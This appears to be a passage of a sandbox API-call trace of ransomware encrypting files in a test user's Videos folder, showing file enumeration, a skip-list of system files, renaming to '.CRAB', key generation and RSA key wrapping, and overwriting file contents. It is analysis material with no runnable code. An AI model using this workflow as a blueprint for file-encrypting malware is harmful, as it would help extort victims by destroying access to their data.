	[0134.417] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv", dwFileAttributes=0x20) returned 1
	[0134.418] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\krwia04ehsgr t_ m9v.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\krwia04ehsgr t_ m9v.mkv.crab")) returned 1
	[0134.418] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.419] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv.CRAB"
	[0134.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv.CRAB.CRAB"
	[0134.421] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0134.423] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.423] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.423] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.423] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.423] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.423] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.424] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0134.425] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.425] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.425] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.425] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.425] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.426] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.426] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.426] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.426] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.428] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32494f0) returned 1
	[0134.428] CryptGetKeyParam (in: hKey=0x32494f0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.428] CryptEncrypt (in: hKey=0x32494f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.428] GetLastError () returned 0x0
	[0134.428] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.428] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ec00) returned 1
	[0134.429] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249070) returned 1
	[0134.429] CryptGetKeyParam (in: hKey=0x3249070, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.429] CryptEncrypt (in: hKey=0x3249070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.430] GetLastError () returned 0x0
	[0134.430] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0134.430] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\krwIA04EhsgR T_ m9V.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\krwia04ehsgr t_ m9v.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.430] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.431] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.431] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x1096d, lpOverlapped=0x0) returned 1
	[0134.444] VirtualAlloc (lpAddress=0x0, dwSize=0x10970, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.445] VirtualAlloc (lpAddress=0x0, dwSize=0x10970, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0134.447] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.448] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffef693, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.448] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x10970, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x10970, lpOverlapped=0x0) returned 1
	[0134.448] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.448] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.452] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.452] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.452] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.452] CloseHandle (hObject=0x3e8) returned 1
	[0134.452] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.453] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.453] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.453] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.453] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.454] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.454] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.454] lstrcmpW (lpString1="lyW8Q0WSnKMjv.flv", lpString2=".") returned 1
	[0134.454] lstrcmpW (lpString1="lyW8Q0WSnKMjv.flv", lpString2="..") returned 1
	[0134.454] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="lyW8Q0WSnKMjv.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv"
	[0134.454] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.454] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv") returned 46
	[0134.454] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv") returned 46
	[0134.454] lstrlenW (lpString=".flv") returned 4
	[0134.454] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.455] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0134.455] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.455] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv") returned 46
	[0134.455] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv") returned 46
	[0134.455] lstrcmpiW (lpString1="lyW8Q0WSnKMjv.flv", lpString2="desktop.ini") returned 1
	[0134.455] lstrcmpiW (lpString1="lyW8Q0WSnKMjv.flv", lpString2="autorun.inf") returned 1
	[0134.455] lstrcmpiW (lpString1="lyW8Q0WSnKMjv.flv", lpString2="ntuser.dat") returned -1
	[0134.455] lstrcmpiW (lpString1="lyW8Q0WSnKMjv.flv", lpString2="iconcache.db") returned 1
	[0134.455] lstrcmpiW (lpString1="lyW8Q0WSnKMjv.flv", lpString2="bootsect.bak") returned 1
	[0134.455] lstrcmpiW (lpString1="lyW8Q0WSnKMjv.flv", lpString2="boot.ini") returned 1
	[0134.455] lstrcmpiW (lpString1="lyW8Q0WSnKMjv.flv", lpString2="ntuser.dat.log") returned -1
	[0134.455] lstrcmpiW (lpString1="lyW8Q0WSnKMjv.flv", lpString2="thumbs.db") returned -1
	[0134.455] lstrcmpiW (lpString1="lyW8Q0WSnKMjv.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.455] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.456] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv.CRAB") returned 51
	[0134.456] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\lyw8q0wsnkmjv.flv")) returned 0x20
	[0134.456] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv", dwFileAttributes=0x20) returned 1
	[0134.456] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\lyw8q0wsnkmjv.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\lyw8q0wsnkmjv.flv.crab")) returned 1
	[0134.457] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.457] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv.CRAB"
	[0134.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv.CRAB.CRAB"
	[0134.457] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0134.459] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.459] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.459] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.459] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0134.459] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.460] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0134.461] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.461] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.461] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.461] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.461] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.461] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.462] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.462] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.462] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.472] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32490b0) returned 1
	[0134.473] CryptGetKeyParam (in: hKey=0x32490b0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.473] CryptEncrypt (in: hKey=0x32490b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.473] GetLastError () returned 0x0
	[0134.473] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.473] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e5a0) returned 1
	[0134.474] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249330) returned 1
	[0134.474] CryptGetKeyParam (in: hKey=0x3249330, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.474] CryptEncrypt (in: hKey=0x3249330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.475] GetLastError () returned 0x0
	[0134.475] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0134.475] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\lyW8Q0WSnKMjv.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\lyw8q0wsnkmjv.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.475] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.476] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.476] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x9e6e, lpOverlapped=0x0) returned 1
	[0134.491] VirtualAlloc (lpAddress=0x0, dwSize=0x9e70, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.492] VirtualAlloc (lpAddress=0x0, dwSize=0x9e70, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.493] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.493] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff6192, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.493] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x9e70, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x9e70, lpOverlapped=0x0) returned 1
	[0134.493] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.495] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.499] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.499] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.499] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.500] CloseHandle (hObject=0x3e8) returned 1
	[0134.500] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.500] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.500] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.500] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.501] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.501] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.501] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.501] lstrcmpW (lpString1="NMEW.flv", lpString2=".") returned 1
	[0134.501] lstrcmpW (lpString1="NMEW.flv", lpString2="..") returned 1
	[0134.501] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="NMEW.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv"
	[0134.501] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.501] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv") returned 37
	[0134.502] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv") returned 37
	[0134.502] lstrlenW (lpString=".flv") returned 4
	[0134.502] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.502] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0134.502] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.502] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv") returned 37
	[0134.502] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv") returned 37
	[0134.502] lstrcmpiW (lpString1="NMEW.flv", lpString2="desktop.ini") returned 1
	[0134.502] lstrcmpiW (lpString1="NMEW.flv", lpString2="autorun.inf") returned 1
	[0134.502] lstrcmpiW (lpString1="NMEW.flv", lpString2="ntuser.dat") returned -1
	[0134.502] lstrcmpiW (lpString1="NMEW.flv", lpString2="iconcache.db") returned 1
	[0134.502] lstrcmpiW (lpString1="NMEW.flv", lpString2="bootsect.bak") returned 1
	[0134.503] lstrcmpiW (lpString1="NMEW.flv", lpString2="boot.ini") returned 1
	[0134.503] lstrcmpiW (lpString1="NMEW.flv", lpString2="ntuser.dat.log") returned -1
	[0134.503] lstrcmpiW (lpString1="NMEW.flv", lpString2="thumbs.db") returned -1
	[0134.503] lstrcmpiW (lpString1="NMEW.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.503] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.503] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv.CRAB") returned 42
	[0134.503] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\nmew.flv")) returned 0x20
	[0134.503] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv", dwFileAttributes=0x20) returned 1
	[0134.504] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\nmew.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\nmew.flv.crab")) returned 1
	[0134.504] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.505] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv.CRAB"
	[0134.505] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\NMEW.flv.CRAB.CRAB"
	[0134.505] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0134.506] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.506] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.507] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.507] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.507] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.507] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.507] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0134.508] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.508] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.509] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.509] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.509] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.509] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.509] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.509] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.510] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e5a0) returned 1
	[0134.511] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32493f0) returned 1
	[0134.511] CryptGetKeyParam (in: hKey=0x32493f0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.511] CryptEncrypt (in: hKey=0x32493f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.511] GetLastError () returned 0x0
	[0134.511] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
